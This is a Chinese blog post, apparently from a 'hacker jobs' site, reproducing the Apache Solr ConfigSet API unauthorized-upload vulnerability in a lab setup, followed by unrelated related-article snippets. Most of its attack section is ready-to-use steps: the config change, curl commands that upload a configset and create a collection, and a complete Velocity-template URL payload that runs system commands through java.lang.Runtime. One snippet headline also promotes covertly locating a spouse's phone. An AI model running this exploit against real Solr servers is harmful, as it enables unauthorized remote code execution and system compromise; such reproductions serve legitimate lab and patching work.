Apche Solr 未授权上传漏洞(CVE

访客4年前关于黑客接单1195

之前看某大佬的文章,自己跟着复现的,大佬腻害~~如有错误纯属我理解错误,还望指正~ヽ( ⌒ω⌒)人(=^‥^=)?

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132


C:\复现\solr-8.0.0\bin>solr.cmd start –c

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

PS:本文仅用于渗透测试学习,勿用于非授权测试。。可在虚拟机完成环境搭建与测试



相关文章

怎样锁定老婆手机位置(不需对方下载也能手机定位)

  如何锁住媳妇手机号码位置(不需另一方免费下载也可以手机位置)   如今手机上是大家最常应用的高科技产品了。   因为互联网技术的存有,手机上纪录了大家基本上全部的吃穿住行。   但即便互联网技术再...

安卓手机用什么安全软件好(2019年十大最佳安卓杀毒软件)

安卓手机用什么安全软件好(2019年十大最佳安卓杀毒软件)

小编来报:杀毒软件在保护设备免受恶意软件感染方面发挥着至关重要的作用。文章介绍了10大最佳安卓杀毒软件,一起来看看吧! 因为市场上充斥着许多假冒的杀毒软件,所以在选择杀毒软件时应该非常小心。最近的分析...

秘鲁新冠确诊数逼近百mathtype汉化绿色版万 暂停与欧洲往来航班两

  中新网12月22日电 据秘鲁《公言报》报道,当地时间21日,秘鲁卫生部发布的新冠疫情数据显示,该国累计确诊病例达998475例;累计死亡病例达37173人。当天,秘鲁总统萨加斯蒂表示,由于英国近期...

四川4辆货车相撞现场情况如何 四川4辆货车相撞动图最新消息警方通报

四川4辆货车相撞现场情况如何 四川4辆货车相撞动图最新消息警方通报

11月4日,四川北川4辆货车相撞,现场一片狼藉。警方通报称,事故现场4辆货车和一间住房受损,3名驾驶员和1名行人不同程度受伤,均已送医,事故原因调查中。 【最新消息】 四川绵阳发生一起货车4车...

互联网企业中的数据增长小组

互联网企业中的数据增长小组

在互联网企业中,数据增长小组是一个跨职能的存在,相同各个部分,协调资源。本文通过四个方面解读数据增长小组,但愿对你有辅佐。 数据驱动的数据增长小组: 此刻的互联网企业越来越存眷和数据有关的一切工作,...

新零售的效率战争(一)

新零售的效率战争(一)

编辑导读:在零售业中,物流是本钱占比很大的一部门。传统的线性分销不只耗费本钱高,并且效率低,造成很大的挥霍。本文将重新零售如何提高效率的角度,举办四个维度的阐明,但愿对你有辅佐。 一、巨头的缝隙 我...